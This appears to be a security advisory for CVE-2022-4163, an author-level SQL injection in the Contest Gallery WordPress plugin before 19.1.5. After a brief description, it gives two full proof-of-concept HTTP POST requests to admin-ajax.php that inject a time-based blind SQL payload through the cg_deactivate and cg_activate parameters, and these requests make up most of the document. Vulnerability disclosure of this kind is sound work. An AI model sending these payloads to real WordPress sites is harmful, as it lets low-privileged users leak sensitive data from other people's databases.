Contest Gallery < 19.1.5 – Author+ SQL Injection | CVE 2022-4163

Description

The plugins do not escape the cg_deactivate and cg_activate POST parameters before concatenating it to an SQL query in 2_deactivate.php and 4_activate.php, respectively. This may allow malicious users with at least author privilege to leak sensitive information from the site's database.

Proof of Concept

Exploit 1(cg_deactivate):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------35159522727850073672661547147
Content-Length: 2045
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7Ce93774011f8915e8d1b69955e8c50a905c9040c9c17efcca7b42f24fb32f43e2; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7C2bc19f40221c8d9c3d9219517701a229fe9080215045fe6a050c6d9b594282b3; wp-settings-time-5=1668392508; wp-settings-5=libraryContent%3Dupload
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgGalleryFormSubmit"

1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="action"

post_cg_gallery_view_control_backend
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgGalleryHash"

355b5e0384230f74e41bc47f47d94aef
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_id"

1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_deactivate[1/**/AND/**/(SELECT/**/7741/**/FROM/**/(SELECT(SLEEP(5)))hlAf)]"

1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_start"


-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_step"

10
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_order"

custom
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgVersionScripts"

19.1.4.1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_search"


-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_email[1]"

df@kc.org
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_image_name[1]"

10x-featured-social-media-image-size
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Content-Disposition: form-data; name="chooseAction1"

1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgBackendHash"

e12e8782da8ac6c4f1725d81a9811524
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgIsRealFormSubmit"

true
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Exploit 2(cg_activate):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------35159522727850073672661547147
Content-Length: 2043
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7Ce93774011f8915e8d1b69955e8c50a905c9040c9c17efcca7b42f24fb32f43e2; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7C2bc19f40221c8d9c3d9219517701a229fe9080215045fe6a050c6d9b594282b3; wp-settings-time-5=1668392508; wp-settings-5=libraryContent%3Dupload
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgGalleryFormSubmit"

1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="action"

post_cg_gallery_view_control_backend
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgGalleryHash"

355b5e0384230f74e41bc47f47d94aef
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_id"

1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_activate[1]"

1/**/AND/**/(SELECT/**/7741/**/FROM/**/(SELECT(SLEEP(5)))hlAf)
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_start"


-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_step"

10
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_order"

custom
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgVersionScripts"

19.1.4.1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_search"


-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_email[1]"

df@kc.org
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cg_image_name[1]"

10x-featured-social-media-image-size
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="chooseAction1"

1
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgBackendHash"

e12e8782da8ac6c4f1725d81a9811524
-----------------------------35159522727850073672661547147
Content-Disposition: form-data; name="cgIsRealFormSubmit"

true
-----------------------------35159522727850073672661547147--